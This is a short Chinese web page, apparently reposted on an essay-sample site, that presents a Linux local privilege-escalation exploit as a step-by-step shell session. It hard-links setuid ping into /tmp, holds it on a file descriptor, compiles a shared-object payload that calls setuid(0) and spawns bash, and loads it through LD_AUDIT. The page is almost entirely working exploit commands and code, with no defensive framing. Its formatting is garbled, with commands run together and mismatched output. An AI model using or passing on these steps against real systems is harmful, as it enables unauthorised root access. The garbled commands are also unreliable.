1200字范文,内容丰富有趣,写作的好帮手!
1200字范文 > linux普通用户提权root

linux普通用户提权root

时间:2019-12-27 11:54:00

相关推荐

linux普通用户提权root

用普通用户boy作为测试对象

[boy@localhost ~]$ mkdir /tmp/exploit[boy@localhost ~]$ ln /bin/ping /tmp/exploit/target #使用ping命令的suid特性创建一个链接[boy@localhost ~]$ exec 3< /tmp/exploit/target #调用命令[boy@localhost ~]$ ls -l /proc/$$/fd/3lr-x------ 1 test test 64 Aug 17 21:41 /proc/35612/fd/3 -> /tmp/exploit/target[boy@localhost ~]$ rm -rf /tmp/exploit/[boy@localhost ~]$ ls -l /proc/$$/fd/3[boy@localhost ~]$ vim payload.c void __attribute__((constructor)) init()//在配置文件加入如下的内容{setuid(0);system("/bin/bash");}

[boy@localhost ~]$ gcc -w -fPIC -shared -o /tmp/exploit payload.c[boy@localhost ~]$ ls -l /tmp/exploit[boy@localhost ~]$ LD_AUDIT="$ORIGIN" exec /proc/self/fd/3

本内容不代表本网观点和政治立场,如有侵犯你的权益请联系我们处理。
网友评论
网友评论仅供其表达个人看法,并不表明网站立场。